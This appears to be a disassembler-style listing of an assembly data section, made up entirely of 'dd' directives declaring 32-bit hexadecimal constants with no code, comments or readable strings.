		dd 0D407E612h, 0D273646Ch, 0E660AAE8h, 0F2012A76h, 0FC0B7719h
		dd 68DC1CE9h, 0B55E2651h, 485F0093h, 29FDA2D5h,	330AC48h
		dd 0FCEB0C2Eh, 31DCA0AFh, 638C0088h, 0E7A97EAAh, 0F900DAE9h
		dd 1F78B957h, 9B4756Fh,	3DBD4F16h, 150E3C00h, 5300541Dh
		dd 0E83E76D6h, 21306Bh,	0C4C86858h, 3637D507h, 0D0105760h
		dd 23BEB7h, 8E2DDEF9h, 27B9C0E7h, 0FEE04100h, 9724DEBh
		dd 92983DDDh, 6A7E12h, 1D02544h, 51037FE9h, 18C09314h
		dd 7DE8B0E5h, 3B732CEFh, 4A05BA9Ch, 0C031DB17h,	0BEDAA51Ah
		dd 61EB3A1Eh, 4BF5A9C0h, 4B7543Bh, 37445FADh, 850D069h
		dd 0F907CD80h, 288AE92Fh, 0EFA3D280h, 0AAFB50D8h, 38AB1F6Dh
		dd 0E7A60079h, 68C0FE1Bh, 0D10B7800h, 3FB0B35Fh, 6494A190h
		dd 0D1060h, 0EB54DB6Dh,	129C970Eh, 91A7D801h, 275E9428h
		dd 2D9960h, 60521A03h, 0E75F9DFh, 0CF5DD100h, 0C91F862Fh
		dd 41AB00D5h, 5E97CBDAh, 0E70E4237h, 80D14C87h,	3A195149h
		dd 726300B2h, 1C352E66h, 59065D1Bh, 2756B4Dh, 0A1960048h
		dd 82BA7C36h, 8F0034CDh, 8EBE695Bh, 13A41F1h, 28540232h
		dd 0D87316EAh, 4E3F7C31h, 40498EBCh, 17BDE018h,	0E415E07Bh
		dd 50620067h, 0C6B3235Dh, 0A028DDCh, 6D7CAEF4h,	32504863h
		dd 1CFA0074h, 37E49766h, 8C0020D5h, 0B38AB8F3h,	5877072Ah
		dd 95121446h, 38A01AAh,	606CFB61h, 0D20014F4h, 6E0D6079h
		dd 0C3AAB353h, 0A7DEA37Eh, 7174D084h, 0F8A85FF6h, 6B009804h
		dd 78020FC0h, 7C4D4007h, 0A9E41E94h, 32BF2660h,	0A402F111h
		dd 5F5920FDh, 4B009AF6h, 96E373AFh, 608E076Bh, 1E4588Ch
		dd 5F4ABC60h, 0F5DDB9B0h, 3E6C874h, 0D709757Ah,	589EA5BEh
		dd 0A1DD1914h, 0DD40B50h, 0FD388509h, 21C45400h, 0D23473h
		dd 5A747961h, 1B91F962h, 5D805060h, 99D5A9h, 14C6193Bh
		dd 0E686B209h, 0BB934E03h, 0AC52C74Ah, 15383700h, 2094E5FCh
		dd 9D10FDF1h, 55079974h, 0AF6B8E3Bh, 3E98AE60h,	0D1900F94h
		dd 2D43789Fh, 9DE0BC34h, 0C600EC9Bh, 7793FE67h,	0EE1D30h
		dd 956290BFh, 0D36C0220h, 8DD6520h, 0FC4D873Dh,	18C21460h
		dd 36AFEE6h, 0A0716E60h, 0C891B772h, 5DD704Dh, 1286B001h
		dd 0BED53C23h, 0CC83C4h, 0F828B7FAh, 93C9C3DAh,	0F5953E12h
		dd 0E740FC01h, 0ACF04DA9h, 1EAF00FEh, 3D5FBA87h, 7587933h
		dd 0D2CD0004h, 0B45D1AFCh, 4857537h, 7F120DF8h,	4AACC396h
		dd 0D5982C98h, 2471DA01h, 798D9485h, 76CFFD60h,	20FA7710h
		dd 75074B01h, 71509B17h, 5FCE4780h, 445702BEh, 6BACA531h
		dd 0BF2E48E0h, 68081F03h, 0D801CBEBh, 1A1B9Eh, 0D7770F0Dh
		dd 0E52994F9h, 2E7CC8A8h, 61506000h, 0F497E881h, 9890EAD0h
		dd 87480088h, 38203CF3h, 62EA6E02h, 4661BE07h, 0C5DE0F77h
		dd 0F4818D55h, 51809236h, 215F0D79h, 5760A376h,	24013C90h
		dd 119C6075h, 6D1AFA3Dh, 78E8D248h, 0F11D1600h,	0FEB5CAADh
		dd 0BECE004Ah, 3EF22213h, 0C50031BAh, 41301525h, 12FF1D6h
		dd 740B92CAh, 308B0E06h, 703E9787h, 8F2A04C2h, 57803E29h
		dd 0F0854921h, 0AE5004Bh, 0C3FA6764h, 75004432h, 0F7CFD505h
		dd 1CF076h, 15A859F6h, 0C1E694F4h, 80288F39h, 727B03F2h
		dd 78F149E0h, 587018Dh,	958536B2h, 317D30A8h, 9A0C8600h
		dd 0A5D91777h, 7B7703Eh, 83576C2Fh, 56FCE072h, 0F800AE79h
		dd 3A7CB008h, 0ED411ECh, 0E862574Eh, 5EF737A0h,	0F11647B8h
		dd 0A60040C7h, 0D146B1F6h, 2654062Bh, 80F4CDA7h, 9279803h
		dd 0BBB83F34h, 0D46BA8D3h, 922F3EA5h, 7EAC00CAh, 0A47D1B47h
		dd 0BB190A07h, 0A986A91h, 80485439h, 6185AD87h,	9600D60Dh
		dd 66F4D4DCh, 9BBB94Ah,	44162073h, 672284A0h, 7E00AB4Eh
		dd 0FE61D45Bh, 0A4D70Fh, 0DBA4612h, 0DFD0E1B7h,	0AE02A673h
		dd 8F170578h, 0E85049h,	0A7530A4Eh, 443DAD67h, 645C2C92h
		dd 17A800C0h, 18851B2Ch, 3D7E035Ah, 1570D9FCh, 0D12B66D0h
		dd 7C57F624h, 3CD24480h, 84734h, 0DCEE5293h, 358320A0h
		dd 2A0D4Ah, 413F4813h, 6B162B40h, 0D612D852h, 0B63ED400h
		dd 57D7C18Fh, 0F830046h, 0D57FA87Dh, 8613AF8Bh,	571E2381h
		dd 59C0AA87h, 0BA670510h, 0E77B00C8h, 8876F3Dh,	0CC0B920Fh
		dd 384D5Ah, 0E3E8B4EAh,	462A0193h, 86FBCF2Ch, 5A20ECDAh
		dd 966A061Dh, 61CC9881h, 3DC8056Dh, 95ED0F9Eh, 409D54DCh
		dd 3E782F59h, 92123AD2h, 1F0030AAh, 710AFD26h, 0FEE9024Fh
		dd 0E8120595h, 0C832B2E0h, 0DA4D5D00h, 0D99DF50h, 0BBF30E71h
		dd 33E0BC97h, 9316F251h, 8ACCBD54h, 9000157Ch, 84A18C7h
		dd 611ED8h, 1F51E210h, 20D1EE64h, 0D201C5EEh, 0BA248337h
		dd 64304A68h, 60F30FF9h, 5F8EB952h, 74B116C3h, 9CCBBFE0h
		dd 3A9D0200h, 210E2C8Dh, 8398007Eh, 0D6441BF2h,	0C1248B6Ah
		dd 0BB483Dh, 0B01CB39Eh, 17C33001h, 28D59286h, 6060CED8h
		dd 9A6178D4h, 0AD9401A7h, 9ED6F063h, 73E0F486h,	8800C4B8h
		dd 7B36614h, 2E62E1A3h,	87D01591h, 0C6F91730h, 6B017928h
		dd 6576E3BEh, 1824DA55h, 0ADBF2569h, 280D8080h,	0FEFC956Eh
		dd 6F2A7800h, 426DA21Bh, 6BD00085h, 712760D9h, 0CC00BED8h
		dd 6398BF2Ah, 29416B7h,	0EABC2F85h, 0CB805C70h,	3A130A65h
		dd 0C908D407h, 0B5A0423Bh, 1F54ECE0h, 0C003EF21h, 0B2248E7Ah
		dd 0DF77869Bh, 3900D2F8h, 0B9A24840h, 1E615DD3h, 42E530FDh
		dd 0AD98A9D9h, 0AB3D1240h, 38E47A00h, 899D895h,	0A49D002Ch
		dd 4B5D474h, 0EB00B018h, 0D64E633Eh, 0E84F3Bh, 0C9679350h
		dd 0E0C38BAEh, 4142642Ch, 0C2D54002h, 0F4CC70AAh, 0D04316EFh
		dd 0E8420663h, 61F230C8h, 0B70AE300h, 0F5F3602Bh, 9CAA0096h
		dd 53B8FD12h, 1A703670h, 39000EF8h, 5F07D3F6h, 0A501582h
		dd 89A6D280h, 945D00B6h, 19F1FB71h, 0C4F77702h,	607E1C34h
		dd 0F8435CAh, 6C8FB1F3h, 0C1E90C0h, 97FC58A9h, 0C838B20Eh
		dd 31FB8070h, 268F89h, 0B89AE3A6h, 0E8BEF084h, 0D0663301h
		dd 0D6C9ED4Fh, 0C0C80CFDh, 0CAC800E5h, 0F9214659h, 99003A5Ah
		dd 86CF5479h, 75F7BDDCh
		dd 9116005Dh, 0C2CEAB1Ah, 0E400BAD4h, 0A2312568h, 2634D8h
		dd 0DEFA754Bh, 4CA578B2h, 2CC3801h, 0AADB4A46h,	1300A869h
		dd 620C39EEh, 16146C3Ah, 947A86h, 74418CEDh, 601ADEh, 32730C0Eh
		dd 0B0E34DE4h, 18C264Ch, 7FBF7895h, 0A4D414FCh,	202B3D13h
		dd 44E5592h, 0C4361610h, 0C4E48C98h, 880AC05h, 74C07D13h
		dd 831530h, 0B07F4CF6h,	36AC7195h, 80416D25h, 0D0BA9388h
		dd 0D57C0061h, 266E4A09h, 3E506CC1h, 0C92EBC10h, 0DF81D861h
		dd 0E541DD90h, 0A4D0886h, 98F01844h, 0FFECDEF8h, 25F2400h
		dd 854EDC0Ch, 9BF61D28h, 5C550041h, 0E6B36CA8h,	0BC60A900h
		dd 8580621Fh, 6A51CF5Fh, 1722FC20h, 260A6D02h, 543D6CBCh
		dd 7C621C82h, 0DD50375h, 5C5350A2h, 72B83D00h, 1DF58D2h
		dd 0B12DE1BBh, 0C068711Dh, 0C500D901h, 4645BF20h, 0EE3DBCh
		dd 0E2786656h, 55C20949h, 71B6AAA3h, 0DA3C1900h, 61ADD3EAh
		dd 67C13004h, 2BE91E69h, 66EC701Fh, 0C11BE0Ah, 75D99F82h
		dd 31150468h, 0F908C633h, 4B08E542h, 0FD916EA9h, 2E30E606h
		dd 921D30D8h, 1620E2A6h, 4074455Dh, 6669085Ch, 220C981Ch
		dd 2094DEA5h, 0B5BA00DBh, 0BE05A4E2h, 38C3EDA6h, 0A4CB2BDCh
		dd 63684F40h, 363C223Bh, 79AC1E8Ah, 700FEB1Eh, 557099E9h
		dd 0E046AB11h, 8A18EE8h, 56DBE045h, 2420E389h, 7E5507AFh
		dd 22E6D495h, 0A478EA84h, 7F10E80Ch, 540BC8EBh,	136AC40h
		dd 0A2414CC6h, 2C073E2Eh, 4FFF0044h, 55813276h,	0A0F6000Dh
		dd 877E333Fh, 8A3866F8h, 8635B843h, 0C57DFA12h,	78EE0CF0h
		dd 9060D7A1h, 30E2F905h, 0A800A43Ah, 0FCFD0DD4h, 7605F487h
		dd 94170056h, 33CDCB75h, 9E3FD26Dh, 0AEB80FC1h,	0AAE20734h
		dd 3F70B160h, 0AF810F78h, 9A815CA9h, 0C091EC7Ah, 0B033F225h
		dd 0A8E51894h, 3010E43Ah, 1D80C74Bh, 271D23F7h,	16C5A180h
		dd 0E404E776h, 14803E82h, 2FFD112h, 6236D50Eh, 0E4A25BE9h
		dd 0A0D8A99Ah, 0E1B05902h, 0C069B4F5h, 35CA0Ah,	19ABE89h
		dd 784DB19h, 72002892h,	31C802BDh, 0A0BCAh, 2D7B9056h
		dd 0DD2EBF18h, 4759800h, 4B455CAAh, 0E6D20039h,	9D861DBh
		dd 0C07692Fh, 49F7C454h, 27359DF0h, 1DEC982Bh, 9BC07Dh
		dd 0C5DA8104h, 11CA48D1h, 0E2DD0449h, 54E3988Bh, 317AECE0h
		dd 0A60E0D01h, 48DB5FE0h, 3FDC4E4h, 0A55BE358h,	2808D8ACh
		dd 100A0913h, 0AE0C930Ch, 44B12857h, 86443BABh,	3D5C44F8h
		dd 50597020h, 652528FDh, 0EE4794Ah, 51881D14h, 88AD0908h
		dd 0D0915019h, 1CA53800h, 1D03B423h, 0A9089709h, 16D28049h
		dd 0EB8EB5Dh, 90BF44F6h, 2C20C64Eh, 6E89A7Fh, 0C5C7FF00h
		dd 711BE1DDh, 0C22E00CDh, 0ABAFE0F8h, 0B3013E19h, 7B371D57h
		dd 3AE49A32h, 0F661004Ch, 0E464A1B8h, 76000DBBh, 0B2C1C92Ch
		dd 0D3596Ah, 7834D6F3h,	45C64823h, 424DE300h, 82AFE677h
		dd 179F01FEh, 4A61F022h, 0E2C8FBA4h, 0D200CAFFh, 12F8F998h
		dd 0AB9AA6h, 67A8D848h,	791B73D7h, 192C2254h, 3DF38709h
		dd 2C7E809Ch, 6013A333h, 0EA8E2A5Bh, 3E61030h, 0A2AFA5Ch
		dd 0F406D175h, 4ECC560Eh, 1462060h, 6E85A8h, 5A8BD557h
		dd 175CF563h, 2FF91D2Eh, 0EDB1E501h, 5681F359h,	0FDCAE189h
		dd 0C453C895h, 0FBD5CC00h, 0E2F1391Fh, 2C78C02Fh, 2235B731h
		dd 52611500h, 0D1558C11h, 340E4889h, 0ABD4300Eh, 0EC129D00h
		dd 14008AB1h, 68FEE14Ch, 7148BBF7h, 8CEF00A8h, 0E921581h
		dd 7B1CF2F0h, 9F008096h, 1650338h, 6DEF0023h, 0B1F8B386h
		dd 0EC0567D5h, 0B2712E6Ch, 2620C5C0h, 0B945001Ch, 0FFF3EA15h
		dd 0E900C575h, 1431DB4h, 1FD66FCh, 0C662CDDAh, 0C44B3465h
		dd 0AA008961h, 70F82E51h, 6BFF12h, 0A2D86D0Bh, 8CFC6A0Ch
		dd 94D4C912h, 2F2C9400h, 3D42161Ch, 33005A4Dh, 6D051F7Dh
		dd 12001122h, 4F297774h, 0EDD3ECh, 7B0A04B4h, 0F01F9FD6h
		dd 0A5145100h, 0DD43917Ah, 0A04E1482h, 0A901975Eh, 0C05C7473h
		dd 968C842h, 84BD000h, 8DB390D1h, 6C8C007Eh, 586DB0E2h
		dd 0A006728Eh, 5B96F57Fh, 10630090h, 298A6EF9h,	3C7C3E01h
		dd 0F4397407h, 41DE9A92h, 0FD6BE459h, 0D63060h,	8BC18F7Ch
		dd 1154CD55h, 0D70CD4A0h, 0E50A1700h, 2D45E928h, 374E00D2h
		dd 4826CF6Dh, 92002BB6h, 5DBBA306h, 2FFBE4h, 0EBF28DC9h
		dd 38A42749h, 3D51D500h, 3ED246BDh, 77DEC620h, 630E9019h
		dd 4036A70Bh, 75AABACFh, 0FB41004Ah, 0E10DB63Eh, 4C900E07h
		dd 1EC55C0Fh, 0A55E03DBh, 8334D0C0h, 7E970035h,	0C4BFFBB5h
		dd 84001118h, 52A3DF72h, 1624587h, 6E59EEEDh, 200A8F73h
		dd 1075D37Ch, 949AB400h, 3D5C641h, 33A000CEh, 3997A67Ah
		dd 1158A805h, 78F70014h, 0F97E9AF0h, 137DCAh, 0CF29BFC1h
		dd 0D6FA35B3h, 27B72400h, 1D15FE6Ah, 0D7872C5Bh, 1F60306Bh
		dd 0D100F2F5h, 4838C7F0h, 3C45D34Ah, 0B3002D4Fh, 44280DEBh
		dd 290076ADh, 0DF548C21h, 0F9E3539h, 1A694B7h, 0C467ABA0h
		dd 961EB385h, 0B2EC6FDCh, 0CCBF8F00h, 0B67207h,	6193A8C2h
		dd 0AE42B775h, 0DCA8E00h, 62630941h, 0C6AB1E0Fh, 596B8169h
		dd 0C8CDE5AAh, 0E00DADCh, 0D3F8633Eh, 1EF3E3A6h, 8015D9D1h
		dd 0A7CE5E17h, 0F50BFEA2h, 80597382h, 0F1432543h, 0DE120124h
		dd 764C71F4h, 48020D1h,	0C5EE840Ah, 4513B00Ch, 447F2C00h
		dd 0A0F363E4h, 0A4191F0h, 0E548B22Eh, 0B7C400AEh, 588E1CAFh
		dd 0BEE84500h, 9A79B00Fh, 0CD9C0582h, 10605944h, 750090A1h
		dd 7050F09Eh, 25008AB3h, 1B8F2F78h, 0E02ABEEh, 4E987EA6h
		dd 39CA6BE1h, 0B698FFCEh, 0BD00D8B1h, 0F7E54631h, 0D1FC63h
		dd 4C4DDE66h, 989FA74h,	0FF22CE00h, 419C644Bh, 0E4FECCh
		dd 0ED0D0782h, 0D6EF2F2Dh, 6E10A700h, 0B3316C85h, 4C9B0081h
		dd 257A0224h, 3701E113h, 9247C03Bh, 72D8D448h, 536600D8h
		dd 77A6EE9Fh, 390785D0h, 0CEF77C50h, 6FBA9CE0h,	28356063h
		dd 2C84B1AEh, 4D156807h, 6EE0E058h, 1E5C553Eh, 349BCA0h
		dd 61FB1882h, 38D046C3h, 0F007C59h, 36C6D831h, 7F64860Dh
		dd 8876C7D2h, 15F920DFh, 0D01D6735h, 2CC09251h,	0AD7AA6BEh
		dd 1EB30732h, 513344D4h, 80E8566Bh, 92BF2288h, 671A4Fh
		dd 11C2CCBAh, 2168C3CEh, 600C4E4h, 0F26B12AAh, 9C0740h
		dd 5220D966h, 0D0E6608Dh, 92DF5800h, 0F6C26983h, 113100E7h
		dd 67C656D7h, 0D4F0660Eh, 0BB768D01h, 9A1C9214h, 2FD81C21h
		dd 3E57009Ch, 0BCD5E0A2h, 0DC009B2Ah, 0DAB34394h, 0ED8D2C4Bh
		dd 7111EECh, 0F4E76145h, 7894E0FCh, 50006834h, 5BD1BDFAh
		dd 1F7954h, 5AE8032Ch, 0A444D8E3h, 0E664807h, 9B70B0C9h
		dd 0F7ADF0h, 734F8C4Bh,	38C4EE30h, 0CBDC2700h, 43C9024Ah
		dd 641348FDh, 0A10A3700h, 0F4B666A8h, 0FF3B5400h, 2E2FE399h
		dd 405307AAh, 67A5A401h, 553370B6h, 3D07728Ch, 6C90A9D6h
		dd 44739780h, 9B9D5041h, 0F8232608h, 7F810214h,	0AC661233h
		dd 0FB56E601h, 3B0714DAh, 82C70h, 0B43A5AF2h, 0CBB0EE2h
		dd 3188BF01h, 0A7F51B72h, 1994DDCh, 47710274h, 20E37BEFh
		dd 290063A8h, 0C5C158C8h, 0F0590Fh, 0E580A0DFh,	7AA825C7h
		dd 33326A01h, 2F46AAE8h, 93A1E0E2h, 0A1470F14h,	0B82D996h
		dd 0C26002E6h, 6400C301h, 8DEFC6D4h, 0A09125h, 84F874B8h
		dd 68239763h, 8060D93Fh, 76B0481h, 1F176D6h, 13B9B4A8h
		dd 0D08FB747h
		dd 0BC000B08h, 3988879Ah, 8D31ADh, 9ECE4AD7h, 0A13835A0h
		dd 0B2083D0Eh, 28C960E5h, 81A40Fh, 0F9D3D9A6h, 0DD74C2E8h
		dd 1BDF000h, 8F794057h,	9767026Ch, 0E3B43DB5h, 862C2840h
		dd 55F05101h, 74CDAA69h, 7553DCh, 0AFA5C8ECh, 8505641Ah
		dd 89B76D00h, 69B29813h, 8CAD002Eh, 9B930ED0h, 0A93DBDB4h
		dd 97390853h, 503B80D4h, 87E49A3Fh, 0FA04D875h,	23475CE5h
		dd 12E704A0h, 4CE245Fh,	8119B578h, 0D490A7E1h, 0EB00D481h
		dd 865691AFh, 79FD959h,	0A13A8A89h, 0A4E1B021h,	810F47A9h
		dd 0E0B95BBDh, 846F865h, 0CC550090h, 0B7438501h, 1716F1C0h
		dd 0CC037B15h, 0DB3D06CDh, 381A828h, 0B2F00094h, 82A025B6h
		dd 5F0BD490h, 80E4B92Ah, 28C7A26Dh, 0EA1C2818h,	0F051A0DDh
		dd 0A1E205h, 4A44C587h,	3E1A96EEh, 793A6F09h, 744E35h
		dd 0DAE0A641h, 5B474FB1h, 3E63BB01h, 70CF594h, 4B48F4h
		dd 8CCF2432h, 5BE4019Bh, 85A8FC00h, 0FAF6BA08h,	0C8840069h
		dd 0C9F8A23Dh, 15C8360h, 7BDC00F9h, 0FC0DBB08h,	6A580078h
		dd 0B135137Ah, 0F1C007B6h, 9EFA3860h, 71F00028h, 0FF5E6F2Fh
		dd 6D009CF5h, 0B1845270h, 1918967h, 4C77E6BBh, 21B40294h
		dd 0F7DCF8B8h, 0EFAF2100h, 0C534AD54h, 0FFEE0072h, 0BF9AD060h
		dd 300E2F4h, 0AADE31E0h, 148B7A76h, 0D0F320D1h,	15C03700h
		dd 3A5F171Eh, 0B1686100h, 0F8DB6D0Fh, 7DE812A6h, 7EA0C0A9h
		dd 70259937h, 5708817Bh, 0FF72A2h, 0B3D49C99h, 8E44AD01h
		dd 2BA7D001h, 81CC5B6Eh, 0D480208Eh, 0C0C85E65h, 0EACF55F0h
		dd 54AEDA00h, 0A0C0BCC3h, 5BB50003h, 8169D170h,	9026069Ch
		dd 0F1004438h, 75443C63h, 15F30918h, 0E8600D26h, 0B300BA57h
		dd 0E63E7854h, 62104Ch,	88506BC7h, 0D5C517Dh, 0CCB028C0h
		dd 1D9805Fh, 2F4D2D05h,	0C4645B71h, 3010E18h, 17DF84E7h
		dd 0CF8551Fh, 38056216h, 9F10CB6Fh, 0C0DAD8F6h,	4B00FA09h
		dd 0FBB8170Fh, 0C27F2Ch, 1A0BD429h, 5F610A0Eh, 836C5D3Bh
		dd 0A2552F5Eh, 0BC501009h, 0F17776CEh, 0CCA4E750h, 4000A070h
		dd 652B2DCBh, 1AB06Dh, 8D0AF034h, 1E7C9D0Eh, 0B38FF900h
		dd 4413DFFCh, 35C90DBh,	4739904Bh, 0E5C83DADh, 2C00748Eh
		dd 1AFF30FEh, 0A01322FCh, 0EAF2B94h, 160BF577h,	48E5DA0Eh
		dd 914408CCh, 0D2EA4280h, 4A4614h, 0AF9C2004h, 9701822Fh
		dd 7CB8C254h, 0A080F312h, 20390800h, 0B138DA1h,	3DE30F6Fh
		dd 11877C00h, 0DBE59EB4h, 7F96E580h, 0B8864C00h, 3D1B57EFh
		dd 0B5B600F1h, 48B39128h, 0EA008CF0h, 83084B4Dh, 0FB69DFh
		dd 772BDAEFh, 0E63003ABh, 80317C3Dh, 46B8229h, 15A955Fh
		dd 1DB0CB33h, 0CC9BBF9Eh, 200058C1h, 0AFFE5CC2h, 33929816h
		dd 0A5B80FC4h, 9F717088h, 80C09A53h, 33B0A4E9h,	0A7560050h
		dd 6BFE8723h, 9F1DFFC5h, 0F31D0F3Eh, 834A7445h,	0A068844Ah
		dd 0A6E75B04h, 7A78090h, 49F0B8F8h, 5A009080h, 4B0FCC50h
		dd 881F5651h, 9B00B1BEh, 0AF9FFB19h, 1FB24F8Bh,	4176C04Ch
		dd 2FB84D65h, 0B4390224h, 61CE87E0h, 1C492C4h, 26673758h
		dd 24478E96h, 3C09B6A8h, 0A2EF0650h, 809AD120h,	391E8BF4h
		dd 844B000Dh, 0FA72281Dh, 0BB06A345h, 0F177997Fh, 0AD5F0030h
		dd 0B70825FBh, 4300FC59h, 0B2A4BDD4h, 6017EA9Dh, 6FC988DFh
		dd 47F637B3h, 75B8BF5Ch, 23246D00h, 0D482E6D0h,	69730EF0h
		dd 0D14E3DF9h, 805F96CBh, 0DB62F69h, 7D2B3F18h,	276D0B80h
		dd 62606328h, 0AA018800h, 35C1A7E2h, 121D0096h,	490F10B8h
		dd 0C2300C0Dh, 0A587F83Eh, 216400E4h, 6318B544h, 4F00A693h
		dd 107E82FAh, 368197h, 6A1978A8h, 7B2CF945h, 8BF60F17h
		dd 69C62C07h, 0E0940BB0h, 31C40053h, 25E5A8E2h,	4C1D70A9h
		dd 0B0687E27h, 123B139h, 93B749EAh, 0F0408203h,	7E365C9h
		dd 69417011h, 4B6E80BAh, 5B003C3Dh, 42626AE2h, 0E0C4084Ah
		dd 609C82h, 73CAE096h, 0FF03B89Ch, 0CD7724D4h, 5E801D0Ch
		dd 40CF4487h, 1C4E05F6h, 38CCF041h, 0A940C17Bh,	58E3B7FBh
		dd 0E70B18CFh, 0A180BE49h, 2B608C26h, 320FA000h, 21D9E3Eh
		dd 379200DBh, 3DF8529h,	0B0013DB1h, 5AD2B2FFh, 71FC8B76h
		dd 50EAFC08h, 98C854h, 14F939D8h, 0A905F1C5h, 6AA7C000h
		dd 575A2443h, 0DA7C263Ah, 952C34h, 0EF0A863h, 3E0023FBh
		dd 29777E92h, 9165BFF3h, 2D813958h, 8F6856FCh, 0C989D4EEh
		dd 9700B2F8h, 0A88D0D8Bh, 1CE5DE64h, 41A549Eh, 800837D2h
		dd 2DE4EFA8h, 0CE007F76h, 7DF0AC4Ch, 7420973h, 55ABC9A7h
		dd 0DD7B9059h, 4C01A2AEh, 98CAE32Dh, 0C360C17Ch, 57EE002Fh
		dd 0AB67D5Ch, 6C2C43D8h, 0D90190F2h, 0AA710D16h, 51F4CEE1h
		dd 5499001Eh, 8794E04Ah, 0EE01C80Eh, 0E6436C50h, 0BC60B617h
		dd 0B8690789h, 0D31A6B95h, 6C809E2h, 23000734h,	0D1D4338Ch
		dd 33A1140h, 7F971E63h,	0D580A529h, 0F500A00Bh,	0B81F7EFDh
		dd 4C4BC960h, 5E1E0EADh, 3C668EB9h, 0B02F1580h,	0E3027881h
		dd 5048B4C9h, 6D716033h, 38CE004Ah, 0F2318E1Ch,	0DE03A6EEh
		dd 1E5C6E6Fh, 0DD180036h, 0FB92034Ah, 0AA0037F8h, 380D30E9h
		dd 2783BEh, 0BF113671h,	0F186DCCBh, 3320E00Fh, 0EC32E02Ah
		dd 0A06AD489h, 1236C4C2h, 0F0480E99h, 0B81E61BEh, 0CF47AA50h
		dd 40EEF0C3h, 986869B3h, 0CBDC008Dh, 41AD6E49h,	53983E9Dh
		dd 80C75C1Fh, 0BD33D1C0h, 2CCC13Ch, 63DB8315h, 0F760AB48h
		dd 0E200FB73h, 0A6D3A8DFh, 3AC29C42h, 0F5E9FAAh, 0D4AB7738h
		dd 666EC4A1h, 0DF86D0A7h, 96021E75h, 0FA3F936h,	24E458h
		dd 227697C4h, 5D7A7278h, 0EAC50D3h, 148A1F02h, 5868713Ah
		dd 44004605h, 90B0C345h, 290918h, 3724801Eh, 0FE2DB47Ch
		dd 0DD009EECh, 87E76922h, 0EFDCAD1h, 0EB0E5D55h, 6709CBA9h
		dd 0F9750020h, 0CA076A07h, 4923C503h, 4E8B0CC0h, 89E70A61h
		dd 3CEF9037h, 149CD213h, 92C0E460h, 4FB92A5Ah, 1E203Fh
		dd 0D0E24DE7h, 0FCF1C6CBh, 1BCE018Ah, 0D95189E5h, 0A7543004h
		dd 8066763Eh, 0B68FFE6Ch, 4874C853h, 11C0075h, 0ED0900DAh
		dd 9AE4433Dh, 95724000h, 3B4E499Fh, 49FCB223h, 0D7097CE6h
		dd 0E493627Ah, 0D0FF6D93h, 0CC65A5C8h, 0A1BAF500h, 84F47EE1h
		dd 0E5313061h, 99EAC680h, 233EC800h, 5C1D2936h,	0B20E1D40h
		dd 59883006h, 0AA1839FAh, 63103FDAh, 28B0720Bh,	2DFC66FDh
		dd 0C880EBACh, 2FCFC0C9h, 63E13812h, 0B50FA700h, 367E85Ah
		dd 0D9F9174Ah, 6203BEF7h, 3DFFDD4Bh, 561AC81Eh,	0C27B2E61h
		dd 0C0F81812h, 0B61775C3h, 7F0086BFh, 0DECFFB44h, 4B310F4Ah
		dd 0E98DDA14h, 0EA78D828h, 23644E07h, 9E0030C6h, 17D405h
		dd 21B3954h, 1EA70637h,	6012111Ch, 9A838D80h, 1F21CB5Ah
		dd 404DF108h, 0D556DB0Ah, 0DD70F2F5h, 8F1E7A0Bh, 12E200D1h
		dd 55BBA82h, 2BDFA9FFh,	6D2CB0B4h, 1797E800h, 0A2A1ED88h
		dd 92D00734h, 70C10520h, 8A3D7427h, 0D5C4122Eh,	85A70201h
		dd 22E8B2F8h, 0FF0F003h, 0C1A4DF72h, 0EC9A6500h, 1A002690h
		dd 0F5A4F3Eh, 0D07837h,	0DA2B035Fh, 0BF98366Fh,	0A4646624h
		dd 6705AB97h, 8402E002h, 4076DF0Eh, 2C0827D5h, 64701282h
		dd 0B950C045h, 83004125h, 98811B61h, 98A03CD7h,	0D6B50009h
		dd 0FD6BDF19h, 991616EEh, 4503C1DBh, 0E5301755h, 0B6E1F404h
		dd 12AED47h, 707A2FFEh,	0C503728Dh, 93306B4Eh, 67E5B833h
		dd 0D7D81650h, 2B9401B4h
		dd 40A42CF7h, 49550ACBh, 0F06F0600h, 69EF5DD8h,	299007C9h
		dd 30A2DDC6h, 38E3E913h, 0CD18147Fh, 4CE01235h,	55480E2Bh
		dd 0C620423Ah, 0D9D1D6E4h, 80AD7C3Fh, 206AF36h,	220F7F9h
		dd 0E3BC0877h, 9CE1D6DBh, 0CC58FA24h, 99854C00h, 3E218D04h
		dd 2C9D1D57h, 0C819971Dh, 57E3F14h, 0C60066EAh,	4494031Eh
		dd 1EE2DABCh, 7A96D379h, 0F08A0600h, 0EE7D898Ch, 8D2958E2h
		dd 4301900Dh, 28A4E4BEh, 156E5CCh, 0CFDDB344h, 0E4574B0Eh
		dd 0AE2FF6A6h, 0C3D001h, 0D5688188h, 0AA43F5DBh, 0F9D3D100h
		dd 0AD1BA2DEh, 85540B06h, 74000117h, 12B88A2Dh,	4441D0B6h
		dd 0BC247803h, 4E183EA8h, 38C7CA0Bh, 61292060h,	58451401h
		dd 11DB62C0h, 84A6D8h, 7F810133h, 4E3999ACh, 0A9F7FA50h
		dd 0B8F7261Ch, 96076B2Ch, 8B00A77Ch, 0F2A84F66h, 27F0002Eh
		dd 8E88BBEEh, 610108E1h, 0ADAB1CE5h, 0D0F06494h, 9BCF30C1h
		dd 47C0A821h, 61BC9F07h, 29F26826h, 532613Ch, 6E6DE4h
		dd 0A8403DE9h, 702C3BBh, 694F3000h, 7C5ECADCh, 4E9A00BFh
		dd 64FA0F2Fh, 3E26A14Dh, 0F00E4070h, 0BA3F604Fh, 0E45BE7D2h
		dd 0A61F0172h, 0AE2DFDBFh, 2CB47442h, 0C2000773h, 0E3ADC3CBh
		dd 48D3EDh, 0D47F5CCAh,	8EB203F6h, 84681205h, 802FE6Dh
		dd 0E0D7C256h, 141F068h, 0A14AE6A5h, 411B937Ah,	949F03F7h
		dd 0AD4960h, 1F0F500Ah,	0E81745C1h, 92C0E9B4h, 4C44A042h
		dd 977A0388h, 9DD43D65h, 939E0802h, 0F0BC321Fh,	951014ECh
		dd 4C3D2CA7h, 1AA4A887h, 5E9240AAh, 9700A6D6h, 1126B409h
		dd 760B955Dh, 0C520C33Ch, 38007C5Fh, 7D91CC9Bh,	0A047933Dh
		dd 60B93140h, 521A2079h, 0E5390FA9h, 3D72817Bh,	9E8D9512h
		dd 0AFA47980h, 0BA329BA8h, 0E27D4CA0h, 0F77B600h, 55E5E7E1h
		dd 6C5A38F6h, 0BFD84300h, 794F1E15h, 46A45700h,	78CC7A80h
